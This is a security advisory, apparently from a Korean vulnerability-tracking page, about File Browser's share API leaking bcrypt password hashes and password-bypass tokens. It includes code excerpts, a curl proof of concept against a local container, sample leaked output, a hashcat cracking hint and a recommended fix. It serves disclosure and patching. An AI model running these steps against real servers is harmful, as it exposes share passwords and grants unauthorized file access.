File Browser: Share API exposes the password hash and bypass token
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N상세 설명
Summary
When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password_hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password_hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.
Details
1. The Link struct serializes both secrets to JSON (share/share.go:10-19)
1type Link struct { 2 Hash string `json:"hash" storm:"id,index"` 3 Path string `json:"path" storm:"index"` 4 UserID uint `json:"userID"` 5 Expire int64 `json:"expire"` 6 PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed 7 // Token is only set when PasswordHash is set; it bypasses the password. 8 Token string `json:"token,omitempty"` // line 19, bypass token exposed 9}omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.
2. The share handlers return the full struct through unfiltered json.Marshal
sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password_hash and token, reaches the client.
3. Administrators receive every user's secrets (http/share.go:36)
1s, err = d.store.Share.All() // admin path: returns ALL users' shares 2// ... 3return renderJSON(w, r, s) // including each share's password_hash and tokenAn admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.
PoC
Tested against filebrowser/filebrowser:v2.63.15.
Attack Vector: read the bcrypt hash and bypass token from the share API:
1#1. Seed a file in /tmp and start a fresh v2.63.15 container 2mkdir -p /tmp/filebrowser-test/srv/user1 3echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt 4docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4 5B=http://localhost:8090 6 7#2. Log in as admin 8AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}') 9T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")10 11#3. Create a password-protected share12curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \13 -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'14 15#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)16curl -s "$B/api/shares" -H "X-Auth: $T"The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.
Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):
Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password_hash and the 128-character bypass token:
1POST /api/share/user1/readme.txt -> 200 2GET /api/shares -> 200 3{ 4 "hash": "yy9159Cs", 5 "path": "/user1/readme.txt", 6 "userID": 1, 7 "expire": 1781758642, 8 "password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla", 9 "token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."10}The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.
Impact
- Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
- Password-bypass token leak: the
tokenis the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly. - Admin sees everyone's secrets:
GET /api/sharesas an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants. - Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.
Recommended Fix
Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:
1// share/share.go 2type Link struct { 3 Hash string `json:"hash" storm:"id,index"` 4 Path string `json:"path" storm:"index"` 5 UserID uint `json:"userID"` 6 Expire int64 `json:"expire"` 7 PasswordHash string `json:"-" storm:"index"` // never serialize 8 Token string `json:"-"` // never serialize in list responses 9}PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.